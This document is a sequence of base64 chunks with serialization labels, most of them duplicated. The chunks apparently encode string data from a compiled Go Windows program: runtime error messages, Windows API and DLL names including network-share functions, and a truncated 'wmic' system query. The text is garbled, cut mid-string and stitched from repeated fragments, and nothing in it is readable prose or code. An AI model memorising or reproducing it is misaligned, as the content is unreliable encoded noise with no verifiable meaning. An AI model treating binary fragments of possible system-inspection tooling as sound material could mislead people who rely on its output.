gb3V0IG9mIHJhbmdlL21lbW9yeS9jbGFzc2VzL21ldGFkYXRhL21jYWNoZS9pbnVzZTpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCBpcyBuaWxydW50aW1lLlNldEZpbmFsaXplcjogZmluYWxpemVyIGFscmVhZHkgc2V0Z2NCZ01hcmtXb3JrZXI6IHVuZXhwZWN0ZWQgZ2NNYXJrV29ya2VyTW9kZW5vbiBpbi11c2Ugc3BhbiBmb3VuZCB3aXRoIHNwZWNpYWxzIGJpdCBzZXRncmV3IGhlYXAsIGJ1dCBubyBhZGVxdWF0ZSBmcmVlIHNwYWNlIGY=af:T554,ZWQgaXRlcmF0b3IgYnl0ZXM7IGluY29tcGF0aWJsZSB3aXRoIG11dGV4IGZsYWcgbWFzayBwZXJzaXN0ZW50YWxsb2M6IGFsaWduIGlzIG5vdCBhIHBvd2VyIG9mIDIvY3B1L2NsYXNzZXMvZ2MvbWFyay9kZWRpY2F0ZWQ6Y3B1LXNlY29uZHMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbWNhY2hlL2ZyZWU6Ynl0ZXMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbXNwYW4vaW51c2U6Ynl0ZXNub24tZW1wdHkgbWFyayBxdWV1ZSBhZnRlciBjb25jdXJyZW50IG1hcmtzd2VlcDogdHJpZWQgdG8gcHJlc2VydmUgYSB1c2VyIGFyZW5hIHNwYW5ydW50aW1lOiBibG9ja2VkIHdyaXRlIG9uIGNsb3NpbmcgcG9sbGRlc2NhY3F1aXJlU3Vkb2c6IGZvdW5kIHMuZWxlbSAhPSBuaWwgaW4gY2FjaGVmYXRhbCBlcnJvcjogY2dvIGNhbGxiYWNrIGJlZm9yZSBjZ28gY2FsbG9uIGEgbG9ja2VkIHRocmVhZCB3aXRoIG5vIHRlbXBsYXRlIHRocmVhZHVuZXhwZWN0ZWQgc2lnbmFsIGR1cmluZyBydW50aW1lIGV4ZWN1dGlvbnN0b3Agb2Ygc3luY3Rlc3QgdGltZXIgZnJvbSBvdXRzaWRlIGJ1YmJsZXRyYWNlU3RvcFJlYWRDUFUgY2FsbGVkIHdpdGggdHJhY2UgZW5hYmxlZGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgcHJvY291dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBjaGVja21hcmtzIGJpdG1hcGV4ZWM6IFdhaXREZWxheSBleHBpcmVkIGJlZm9yZSBJL08gY29tcGxldGVtdWx0NjRiaXRQb3cxMDogcG93ZXIgb2YgMTAgaXMgb3V0IG9mIHJhbmdlL21lbW9yeS9jbGFzc2VzL21ldGFkYXRhL21jYWNoZS9pbnVzZTpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCBpcyBuaWxydW50aW1lLlNldEZpbmFsaXplcjogZmluYWxpemVyIGFscmVhZHkgc2V0Z2NCZ01hcmtXb3JrZXI6IHVuZXhwZWN0ZWQgZ2NNYXJrV29ya2VyTW9kZW5vbiBpbi11c2Ugc3BhbiBmb3VuZCB3aXRoIHNwZWNpYWxzIGJpdCBzZXRncmV3IGhlYXAsIGJ1dCBubyBhZGVxdWF0ZSBmcmVlIHNwYWNlIGZvb0:T554,ZXNzdW5yZWFjaGFibGVHZXRGaWxlVHlwZVNZU1RFTVJPT1Q9c2hvcnQgd3JpdGUzMDUxNzU3ODEyNWJhZCBhcmdTaXplbWV0aG9kYXJncyhQcm9jZXNzUHJuZ01vdmVGaWxlRXhXTmV0U2hhcmVBZGROZXRTaGFyZURlbHVzZXJlbnYuZGxsYXNzaXN0UXVldWVuZXRwb2xsSW5pdHJlZmxlY3RPZmZzZ2xvYmFsQWxsb2NtU3Bhbk1hbnVhbHN0YXJ0IHRyYWNlY2xvYmJlcmZyZWVnY2NoZWNrbWFya3NjaGVkZGV0YWlsdW5zcGVjaWZpZWRjZ29jYWxsIG5pbCBzLm5lbGVtcz0gICBvZiBzaXplICBydW50aW1lOiBwICBtcyBjbG9jaywgIG5CU1NSb290cz1ydW50aW1lOiBQICBleHAuKSBmb3IgbWluVHJpZ2dlcj1HT01FTUxJTUlUPWJhZCBtIHZhbHVlLCBlbGVtc2l6ZT0gZnJlZWluZGV4PSBzcGFuLmxpc3Q9LCBucGFnZXMgPSAgcC0+c3RhdHVzPSBpbiBzdGF0dXMgIGlkbGVwcm9jcz0gZ2N3YWl0aW5nPSBzY2hlZHRpY2s9IHRpbWVyc2xlbj0gbWFsbG9jaW5nPWJhZCB0aW1lZGl2ZmxvYXQ2NG5hbjFmbG9hdDY0bmFuMmZsb2F0NjRuYW4zZmxvYXQzMm5hbjJHT1RSQUNFQkFDSykgYXQgZW50cnkrICh0YXJnZXRwYz0gLCBwbHVnaW46IHJ1bm5pbmcgPCAwcnVudGltZTogZyA6IGZyYW1lLnNwPWNyZWF0ZWQgYnkgYnJva2VuIHBpcGVhbGFybSBjbG9ja2JhZCBtZXNzYWdlZmlsZSBleGlzdHNiYWQgYWRkcmVzc1JlZ0Nsb3NlS2V5Q2xvc2VIYW5kbGVDcmVhdGVGaWxlV0RlbGV0ZUZpbGVXRXhpdFByb2Nlc3NGcmVlTGlicmFyeVNldEZpbGVUaW1lVmlydHVhbExvY2tXU0FSZWN2RnJvbWNsb3Nlc29ja2V0Z2V0cGVlcm5hbWVnZXRzb2NrbmFtZWNyeXB0MzIuZGxsbXN3c29jay5kbGxzZWN1cjMyLmRsbHNoZWxsMzIuZGxsaS9vIHRpbWVvdXRnb2NhY2hlaGFzaGdvY2FjaGV0ZXN0aHR0cDJjbGllbnRodHRwMnNlcnZlcnJhbmRzZWVkbm9wYXJjaGl2ZS90YXJ0bHMxMHNlcnZlcmNyeXB0by94NTA5YXJjaGl2ZS96aXBleGl0IHN0YXR1cyBjYW4ndCBoYXBwZW4xNTI1ODc4OTA2MjU3NjI5Mzk0NTMxMjVPcGVub1:T558,ZXNzdW5yZWFjaGFibGVHZXRGaWxlVHlwZVNZU1RFTVJPT1Q9c2hvcnQgd3JpdGUzMDUxNzU3ODEyNWJhZCBhcmdTaXplbWV0aG9kYXJncyhQcm9jZXNzUHJuZ01vdmVGaWxlRXhXTmV0U2hhcmVBZGROZXRTaGFyZURlbHVzZXJlbnYuZGxsYXNzaXN0UXVldWVuZXRwb2xsSW5pdHJlZmxlY3RPZmZzZ2xvYmFsQWxsb2NtU3Bhbk1hbnVhbHN0YXJ0IHRyYWNlY2xvYmJlcmZyZWVnY2NoZWNrbWFya3NjaGVkZGV0YWlsdW5zcGVjaWZpZWRjZ29jYWxsIG5pbCBzLm5lbGVtcz0gICBvZiBzaXplICBydW50aW1lOiBwICBtcyBjbG9jaywgIG5CU1NSb290cz1ydW50aW1lOiBQICBleHAuKSBmb3IgbWluVHJpZ2dlcj1HT01FTUxJTUlUPWJhZCBtIHZhbHVlLCBlbGVtc2l6ZT0gZnJlZWluZGV4PSBzcGFuLmxpc3Q9LCBucGFnZXMgPSAgcC0+c3RhdHVzPSBpbiBzdGF0dXMgIGlkbGVwcm9jcz0gZ2N3YWl0aW5nPSBzY2hlZHRpY2s9IHRpbWVyc2xlbj0gbWFsbG9jaW5nPWJhZCB0aW1lZGl2ZmxvYXQ2NG5hbjFmbG9hdDY0bmFuMmZsb2F0NjRuYW4zZmxvYXQzMm5hbjJHT1RSQUNFQkFDSykgYXQgZW50cnkrICh0YXJnZXRwYz0gLCBwbHVnaW46IHJ1bm5pbmcgPCAwcnVudGltZTogZyA6IGZyYW1lLnNwPWNyZWF0ZWQgYnkgYnJva2VuIHBpcGVhbGFybSBjbG9ja2JhZCBtZXNzYWdlZmlsZSBleGlzdHNiYWQgYWRkcmVzc1JlZ0Nsb3NlS2V5Q2xvc2VIYW5kbGVDcmVhdGVGaWxlV0RlbGV0ZUZpbGVXRXhpdFByb2Nlc3NGcmVlTGlicmFyeVNldEZpbGVUaW1lVmlydHVhbExvY2tXU0FSZWN2RnJvbWNsb3Nlc29ja2V0Z2V0cGVlcm5hbWVnZXRzb2NrbmFtZWNyeXB0MzIuZGxsbXN3c29jay5kbGxzZWN1cjMyLmRsbHNoZWxsMzIuZGxsaS9vIHRpbWVvdXRnb2NhY2hlaGFzaGdvY2FjaGV0ZXN0aHR0cDJjbGllbnRodHRwMnNlcnZlcnJhbmRzZWVkbm9wYXJjaGl2ZS90YXJ0bHMxMHNlcnZlcmNyeXB0by94NTA5YXJjaGl2ZS96aXBleGl0IHN0YXR1cyBjYW4ndCBoYXBwZW4xNTI1ODc4OTA2MjU3NjI5Mzk0NTMxMjVPcGVuUw==b2:T550,Z2VuZXJhdGlvbnRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIG5leHQgZ2VuZXJhdGlvbmdvcm91dGluZSBydW5uaW5nIG9uIG90aGVyIHRocmVhZDsgc3RhY2sgdW5hdmFpbGFibGVpbnRlcm5hbCBlcnJvcjogbmVnYXRpdmUgcHJvY2VzcyBoYW5kbGUgcmVmZXJlbmNlIGNvdW50U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cVGltZSBab25lc3JlZmxlY3Q6IGludGVybmFsIGVycm9yOiBpbnZhbGlkIHVzZSBvZiBtYWtlTWV0aG9kVmFsdWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgZnJlZSBvZiB1c2VyIGFyZW5hIGNodW5rY2FzZnJvbV9Hc2NhbnN0YXR1czp0b3AgZ3AtPnN0YXR1cyBpcyBub3QgaW4gc2NhbiBzdGF0ZSBpcyBjdXJyZW50bHkgbm90IHN1cHBvcnRlZCBmb3IgdXNlIGluIHN5c3RlbSBjYWxsYmFja3NzdHJpbmdzOiBpbGxlZ2FsIHVzZSBvZiBub24temVybyBCdWlsZGVyIGNvcGllZCBieSB2YWx1ZW5vbi1lbXB0eSBwb2ludGVyIG1hcCBwYXNzZWQgZm9yIG5vbi1wb2ludGVyLXNpemUgdmFsdWVzZmFpbGVkIHRvIGFsbG9jYXRlIGFsaWduZWQgaGVhcCBtZW1vcnk7IHRvbyBtYW55IHJldHJpZXNwcm9maWxlYWxsb2MgY2FsbGVkIHdpdGhvdXQgYSBQIG9yIG91dHNpZGUgYm9vdHN0cmFwcGluZ2RldGVjdGVkIHBvc3NpYmxlIGlzc3VlcyB3aXRoIGNsZWFudXBzIGFuZC9vciBmaW5hbGl6ZXJzaW4gZ2NNYXJrIGV4cGVjdGluZyB0byBzZWUgZ2NwaGFzZSBhcyBfR0NtYXJrdGVybWluYXRpb25ydW50aW1lOiBOdEFzc29jaWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGNhbm5vdCBydW4gZXhlY3V0YWJsZSBmb3VuZCByZWxhdGl2ZSB0byBjdXJyZW50IGRpcmVjdG9yeSAoc2V0IEdPREVCVUc9ZXhlY3dhaXQ9MiB0byBjYXB0dXJlIHN0YWNrcyBmb3IgZGVidWdnaW5nKXJ1bnRpbWU6IGNoZWNrbWFya3MgZm91bmQgdW5leHBlY3RlZCB1bm1hcmtlZCBvYmplY3Qgb2JqPXdtaWMgY29tcHV0b3:T554,Z2VuZXJhdGlvbnRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIG5leHQgZ2VuZXJhdGlvbmdvcm91dGluZSBydW5uaW5nIG9uIG90aGVyIHRocmVhZDsgc3RhY2sgdW5hdmFpbGFibGVpbnRlcm5hbCBlcnJvcjogbmVnYXRpdmUgcHJvY2VzcyBoYW5kbGUgcmVmZXJlbmNlIGNvdW50U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cVGltZSBab25lc3JlZmxlY3Q6IGludGVybmFsIGVycm9yOiBpbnZhbGlkIHVzZSBvZiBtYWtlTWV0aG9kVmFsdWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgZnJlZSBvZiB1c2VyIGFyZW5hIGNodW5rY2FzZnJvbV9Hc2NhbnN0YXR1czp0b3AgZ3AtPnN0YXR1cyBpcyBub3QgaW4gc2NhbiBzdGF0ZSBpcyBjdXJyZW50bHkgbm90IHN1cHBvcnRlZCBmb3IgdXNlIGluIHN5c3RlbSBjYWxsYmFja3NzdHJpbmdzOiBpbGxlZ2FsIHVzZSBvZiBub24temVybyBCdWlsZGVyIGNvcGllZCBieSB2YWx1ZW5vbi1lbXB0eSBwb2ludGVyIG1hcCBwYXNzZWQgZm9yIG5vbi1wb2ludGVyLXNpemUgdmFsdWVzZmFpbGVkIHRvIGFsbG9jYXRlIGFsaWduZWQgaGVhcCBtZW1vcnk7IHRvbyBtYW55IHJldHJpZXNwcm9maWxlYWxsb2MgY2FsbGVkIHdpdGhvdXQgYSBQIG9yIG91dHNpZGUgYm9vdHN0cmFwcGluZ2RldGVjdGVkIHBvc3NpYmxlIGlzc3VlcyB3aXRoIGNsZWFudXBzIGFuZC9vciBmaW5hbGl6ZXJzaW4gZ2NNYXJrIGV4cGVjdGluZyB0byBzZWUgZ2NwaGFzZSBhcyBfR0NtYXJrdGVybWluYXRpb25ydW50aW1lOiBOdEFzc29jaWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGNhbm5vdCBydW4gZXhlY3V0YWJsZSBmb3VuZCByZWxhdGl2ZSB0byBjdXJyZW50IGRpcmVjdG9yeSAoc2V0IEdPREVCVUc9ZXhlY3dhaXQ9MiB0byBjYXB0dXJlIHN0YWNrcyBmb3IgZGVidWdnaW5nKXJ1bnRpbWU6IGNoZWNrbWFya3MgZm91bmQgdW5leHBlY3RlZCB1bm1hcmtlZCBvYmplY3Qgb2JqPXdtaWMgY29tcHV0ZQ==b4:T554,aW5kZXggb3V0IG9mIHJhbmdlc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4OiV5XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OiV5Ol1vdXQgb2YgbWVtb3J5IGFsbG9jYXRpbmcgYWxsQXJlbmFzLi4uIHRvbyBtYW55IHBvdGVudGlhbCBpc3N1ZXMgLi4uL21lbW9yeS9jbGFzc2VzL2hlYXAvb2JqZWN0czpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBjYW5ub3QgcGFzcyB0b28gbWFueSBwYWdlcyBhbGxvY2F0ZWQgaW4gY2h1bms/bXNwYW4uZW5zdXJlU3dlcHQ6IG0gaXMgbm90IGxvY2tlZHJ1bnRpbWU6IHNvdXJjZSB2YWx1ZSBpcyB0b28gbGFyZ2VWaXJ0dWFsUXVlcnkgZm9yIHN0YWNrIGJhc2UgZmFpbGVkZm9yRWFjaFA6IHNjaGVkLnNhZmVQb2ludFdhaXQgIT0gMHNjaGVkdWxlOiBzcGlubmluZyB3aXRoIGxvY2FsIHdvcmtlbnRlcnN5c2NhbGxibG9jayBpbmNvbnNpc3RlbnQgYnAgZW50ZXJzeXNjYWxsYmxvY2sgaW5jb25zaXN0ZW50IHNwIHJ1bnRpbWU6IGcgaXMgcnVubmluZyBidXQgcCBpcyBub3RpbnZhbGlkIHRpbWVyIGNoYW5uZWw6IG5vIGNhcGFjaXR5dG9vIG1hbnkgcmVmZXJlbmNlczogY2Fubm90IHNwbGljZVNldEZpbGVDb21wbGV0aW9uTm90aWZpY2F0aW9uTW9kZXN1bmV4cGVjdGVkIHJ1bnRpbWUubmV0cG9sbCBlcnJvcjogZXhlY3V0YWJsZSBmaWxlIG5vdCBmb3VuZCBpbiAlUEFUSCUyMDA2LTAxLTAyVDE1OjA0OjA1Ljk5OTk5OTk5OVowNzowMDE3NzYzNTY4Mzk0MDAyNTA0NjQ2Nzc4MTA2Njg5NDUzMTI1ODg4MTc4NDE5NzAwMTI1MjMyMzM4OTA1MzM0NDcyNjU2MjVyeXVGdG9hRml4ZWQzMiBjYWxsZWQgd2l0aCBwcmVjID4gOXBlcnNpc3RlbnRhbGxvYzogYWxpZ24gaXMgdG9vIGxhcmdlL21lbW9yeS9jbGFzc2VzL2hlYXAvcmVsZWFzZWQ6Ynl0ZXNncmV5b2JqZWN0OiBvYmogbm90IHBvaW50ZXItYWxpZ25lZG1pc21hdGNoZWQgYmVnaW4vZW5kIG9mIGFjdGl2ZVN3ZWVwbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIGZyZWVhdHRlbXB0IHQ=b5:T554,aW5kZXggb3V0IG9mIHJhbmdlc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4OiV5XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OiV5Ol1vdXQgb2YgbWVtb3J5IGFsbG9jYXRpbmcgYWxsQXJlbmFzLi4uIHRvbyBtYW55IHBvdGVudGlhbCBpc3N1ZXMgLi4uL21lbW9yeS9jbGFzc2VzL2hlYXAvb2JqZWN0czpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBjYW5ub3QgcGFzcyB0b28gbWFueSBwYWdlcyBhbGxvY2F0ZWQgaW4gY2h1bms/bXNwYW4uZW5zdXJlU3dlcHQ6IG0gaXMgbm90IGxvY2tlZHJ1bnRpbWU6IHNvdXJjZSB2YWx1ZSBpcyB0b28gbGFyZ2VWaXJ0dWFsUXVlcnkgZm9yIHN0YWNrIGJhc2UgZmFpbGVkZm9yRWFjaFA6IHNjaGVkLnNhZmVQb2ludFdhaXQgIT0gMHNjaGVkdWxlOiBzcGlubmluZyB3aXRoIGxvY2FsIHdvcmtlbnRlcnN5c2NhbGxibG9jayBpbmNvbnNpc3RlbnQgYnAgZW50ZXJzeXNjYWxsYmxvY2sgaW5jb25zaXN0ZW50IHNwIHJ1bnRpbWU6IGcgaXMgcnVubmluZyBidXQgcCBpcyBub3RpbnZhbGlkIHRpbWVyIGNoYW5uZWw6IG5vIGNhcGFjaXR5dG9vIG1hbnkgcmVmZXJlbmNlczogY2Fubm90IHNwbGljZVNldEZpbGVDb21wbGV0aW9uTm90aWZpY2F0aW9uTW9kZXN1bmV4cGVjdGVkIHJ1bnRpbWUubmV0cG9sbCBlcnJvcjogZXhlY3V0YWJsZSBmaWxlIG5vdCBmb3VuZCBpbiAlUEFUSCUyMDA2LTAxLTAyVDE1OjA0OjA1Ljk5OTk5OTk5OVowNzowMDE3NzYzNTY4Mzk0MDAyNTA0NjQ2Nzc4MTA2Njg5NDUzMTI1ODg4MTc4NDE5NzAwMTI1MjMyMzM4OTA1MzM0NDcyNjU2MjVyeXVGdG9hRml4ZWQzMiBjYWxsZWQgd2l0aCBwcmVjID4gOXBlcnNpc3RlbnRhbGxvYzogYWxpZ24gaXMgdG9vIGxhcmdlL21lbW9yeS9jbGFzc2VzL2hlYXAvcmVsZWFzZWQ6Ynl0ZXNncmV5b2JqZWN0OiBvYmogbm90IHBvaW50ZXItYWxpZ25lZG1pc21hdGNoZWQgYmVnaW4vZW5kIG9mIGFjdGl2ZVN3ZWVwbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIGZyZWVhdHRlbXB0IHRvb6:T554,aXMgbmlsIGFuZCBsZW4gaXMgbm90IHplcm9oYW5kbGVUcmFuc2llbnRBY3F1aXJlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVoYW5kbGVUcmFuc2llbnRSZWxlYXNlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVyZWZsZWN0OiBpbnRlcm5hbCBlcnJvcjogaW52YWxpZCBtZXRob2QgaW5kZXhjbG9zZSBvZiBzeW5jdGVzdCBjaGFubmVsIGZyb20gb3V0c2lkZSBidWJibGUgIG1heSBiZSBpbiB0aGUgc2FtZSB0aW55IGJsb2NrIGFzIGZpbmFsaXplcnRyYW5zaXRpb25pbmcgR0MgdG8gdGhlIHNhbWUgc3RhdGUgYXMgYmVmb3JlP3Byb2R1Y2VkIGEgdHJpZ2dlciBncmVhdGVyIHRoYW4gdGhlIGhlYXAgZ29hbHRyaWVkIHRvIHJ1biBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IGZhaWxlZCBtU3Bhbkxpc3QucmVtb3ZlIHNwYW4ubnBhZ2VzPXJ1bnRpbWUubWluaXQ6IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IENyZWF0ZVdhaXRhYmxlVGltZXJFeCBmYWlsZWQ7IGVycm5vPWV4aXRzeXNjYWxsOiBzeXNjYWxsIGZyYW1lIGlzIG5vIGxvbmdlciB2YWxpZHVuc2FmZS5TdHJpbmc6IHB0ciBpcyBuaWwgYW5kIGxlbiBpcyBub3QgemVyb2Nhbm5vdCBzZW5kIGFmdGVyIHRyYW5zcG9ydCBlbmRwb2ludCBzaHV0ZG93bm9zOiB1bmV4cGVjdGVkIHJlc3VsdCBmcm9tIFdhaXRGb3JTaW5nbGVPYmplY3RydW50aW1lLkFkZENsZWFudXA6IHB0ciBub3QgaW4gYWxsb2NhdGVkIGJsb2Nrc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XSB3aXRoIGxlbmd0aCAleXBhbmljd3JhcDogdW5leHBlY3RlZCBzdHJpbmcgYWZ0ZXIgdHlwZSBuYW1lOiBtZW1vcnkgcmVzZXJ2YXRpb24gZXhjZWVkcyBhZGRyZXNzIHNwYWNlIGxpbWl0dHJpZWQgdG8gcGFyayBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJlbGVhc2VkIGxlc3MgdGhhbiBvbmUgcGh5c2ljYWwgcGFnZSBvZiBtZW1vcnlzeXNHcm93IGJvdW5kcyBub3QgYWxpZ25lZCB0byBwYWxsb2NDaHVua0J5dGU=b7:T554,aXMgbmlsIGFuZCBsZW4gaXMgbm90IHplcm9oYW5kbGVUcmFuc2llbnRBY3F1aXJlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVoYW5kbGVUcmFuc2llbnRSZWxlYXNlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVyZWZsZWN0OiBpbnRlcm5hbCBlcnJvcjogaW52YWxpZCBtZXRob2QgaW5kZXhjbG9zZSBvZiBzeW5jdGVzdCBjaGFubmVsIGZyb20gb3V0c2lkZSBidWJibGUgIG1heSBiZSBpbiB0aGUgc2FtZSB0aW55IGJsb2NrIGFzIGZpbmFsaXplcnRyYW5zaXRpb25pbmcgR0MgdG8gdGhlIHNhbWUgc3RhdGUgYXMgYmVmb3JlP3Byb2R1Y2VkIGEgdHJpZ2dlciBncmVhdGVyIHRoYW4gdGhlIGhlYXAgZ29hbHRyaWVkIHRvIHJ1biBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IGZhaWxlZCBtU3Bhbkxpc3QucmVtb3ZlIHNwYW4ubnBhZ2VzPXJ1bnRpbWUubWluaXQ6IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IENyZWF0ZVdhaXRhYmxlVGltZXJFeCBmYWlsZWQ7IGVycm5vPWV4aXRzeXNjYWxsOiBzeXNjYWxsIGZyYW1lIGlzIG5vIGxvbmdlciB2YWxpZHVuc2FmZS5TdHJpbmc6IHB0ciBpcyBuaWwgYW5kIGxlbiBpcyBub3QgemVyb2Nhbm5vdCBzZW5kIGFmdGVyIHRyYW5zcG9ydCBlbmRwb2ludCBzaHV0ZG93bm9zOiB1bmV4cGVjdGVkIHJlc3VsdCBmcm9tIFdhaXRGb3JTaW5nbGVPYmplY3RydW50aW1lLkFkZENsZWFudXA6IHB0ciBub3QgaW4gYWxsb2NhdGVkIGJsb2Nrc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XSB3aXRoIGxlbmd0aCAleXBhbmljd3JhcDogdW5leHBlY3RlZCBzdHJpbmcgYWZ0ZXIgdHlwZSBuYW1lOiBtZW1vcnkgcmVzZXJ2YXRpb24gZXhjZWVkcyBhZGRyZXNzIHNwYWNlIGxpbWl0dHJpZWQgdG8gcGFyayBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJlbGVhc2VkIGxlc3MgdGhhbiBvbmUgcGh5c2ljYWwgcGFnZSBvZiBtZW1vcnlzeXNHcm93IGJvdW5kcyBub3QgYWxpZ25lZCB0byBwYWxsb2NDaHVua0J5dGVzb8:T554,bGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXhDYW5hZGEgQ2VudHJhbCBTdGFuZGFyZCBUaW1lQ2VuLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZUF1cyBDZW50cmFsIFcuIFN0YW5kYXJkIFRpbWVDZW50cmFsIEV1cm9wZSBTdGFuZGFyZCBUaW1lRW5nbGlzaCBuYW1lIGZvciB0aW1lIHpvbmUgIjE4MTg5ODk0MDM1NDU4NTY0NzU4MzAwNzgxMjU5MDk0OTQ3MDE3NzI5MjgyMzc5MTUwMzkwNjI1R0MgbWFyayBhc3Npc3Qgd2FpdCBmb3Igd29ya2NvbXBhcmluZyB1bmNvbXBhcmFibGUgdHlwZSByZWdpb24gZXhjZWVkcyB1aW50cHRyIHJhbmdlL2djL2hlYXAvZnJlZXMtYnktc2l6ZTpieXRlcy9nYy9oZWFwL3RpbnkvYWxsb2NzOm9iamVjdHMvc2NoZWQvZ29yb3V0aW5lczpnb3JvdXRpbmVzZ2NCZ01hcmtXb3JrZXI6IG1vZGUgbm90IHNldG1zcGFuLnN3ZWVwOiBtIGlzIG5vdCBsb2NrZWRmb3VuZCBwb2ludGVyIHRvIGZyZWUgb2JqZWN0bWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBzcGFuIHJ1bnRpbWUuc2VtYXNsZWVwIHVuZXhwZWN0ZWRmYXRhbDogbW9yZXN0YWNrIG9uIGdzaWduYWxydW50aW1lOiBjYXNnc3RhdHVzOiBvbGR2YWw9Z2NzdG9wbTogbmVnYXRpdmUgbm1zcGlubmluZ2ZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHBzYXZlIG9uIHN5c3RlbSBnIG5vdCBhbGxvd2VkbmV3cHJvYzE6IG5ld2cgbWlzc2luZyBzdGFja25ld3Byb2MxOiBuZXcgZyBpcyBub3QgR2RlYWRGaXhlZFN0YWNrIGlzIG5vdCBwb3dlci1vZi0ybWlzc2luZyBzdGFjayBpbiBzaHJpbmtzdGFjayBhcmdzIHN0YWNrIG1hcCBlbnRyaWVzIGZvciBpbnZhbGlkIHJ1bnRpbWUgc3ltYm9sIHRhYmxlcnVudGltZTogbm8gbW9kdWxlIGRhdGEgZm9yIG1pc21hdGNoZWQgaXNTZW5kaW5nIHVwZGF0ZXNbb3JpZ2luYXRpbmcgZnJvbSBnb3JvdXRpbmUgdHJhY2VSZWdpb246IGFsbG9jIHRvbyBsYXJnZWZpbGUgZGVzY3JpcHRvciBpbiBiYWQgc3RhdGVkZXN0aW5hdGlvbiBhZGRyZXNzIHJlcXVpcmVkcHJvdG9jb2wgZHJpdmVyIG5vdA==b9:T554,bGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXhDYW5hZGEgQ2VudHJhbCBTdGFuZGFyZCBUaW1lQ2VuLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZUF1cyBDZW50cmFsIFcuIFN0YW5kYXJkIFRpbWVDZW50cmFsIEV1cm9wZSBTdGFuZGFyZCBUaW1lRW5nbGlzaCBuYW1lIGZvciB0aW1lIHpvbmUgIjE4MTg5ODk0MDM1NDU4NTY0NzU4MzAwNzgxMjU5MDk0OTQ3MDE3NzI5MjgyMzc5MTUwMzkwNjI1R0MgbWFyayBhc3Npc3Qgd2FpdCBmb3Igd29ya2NvbXBhcmluZyB1bmNvbXBhcmFibGUgdHlwZSByZWdpb24gZXhjZWVkcyB1aW50cHRyIHJhbmdlL2djL2hlYXAvZnJlZXMtYnktc2l6ZTpieXRlcy9nYy9oZWFwL3RpbnkvYWxsb2NzOm9iamVjdHMvc2NoZWQvZ29yb3V0aW5lczpnb3JvdXRpbmVzZ2NCZ01hcmtXb3JrZXI6IG1vZGUgbm90IHNldG1zcGFuLnN3ZWVwOiBtIGlzIG5vdCBsb2NrZWRmb3VuZCBwb2ludGVyIHRvIGZyZWUgb2JqZWN0bWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBzcGFuIHJ1bnRpbWUuc2VtYXNsZWVwIHVuZXhwZWN0ZWRmYXRhbDogbW9yZXN0YWNrIG9uIGdzaWduYWxydW50aW1lOiBjYXNnc3RhdHVzOiBvbGR2YWw9Z2NzdG9wbTogbmVnYXRpdmUgbm1zcGlubmluZ2ZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHBzYXZlIG9uIHN5c3RlbSBnIG5vdCBhbGxvd2VkbmV3cHJvYzE6IG5ld2cgbWlzc2luZyBzdGFja25ld3Byb2MxOiBuZXcgZyBpcyBub3QgR2RlYWRGaXhlZFN0YWNrIGlzIG5vdCBwb3dlci1vZi0ybWlzc2luZyBzdGFjayBpbiBzaHJpbmtzdGFjayBhcmdzIHN0YWNrIG1hcCBlbnRyaWVzIGZvciBpbnZhbGlkIHJ1bnRpbWUgc3ltYm9sIHRhYmxlcnVudGltZTogbm8gbW9kdWxlIGRhdGEgZm9yIG1pc21hdGNoZWQgaXNTZW5kaW5nIHVwZGF0ZXNbb3JpZ2luYXRpbmcgZnJvbSBnb3JvdXRpbmUgdHJhY2VSZWdpb246IGFsbG9jIHRvbyBsYXJnZWZpbGUgZGVzY3JpcHRvciBpbiBiYWQgc3RhdGVkZXN0aW5hdGlvbi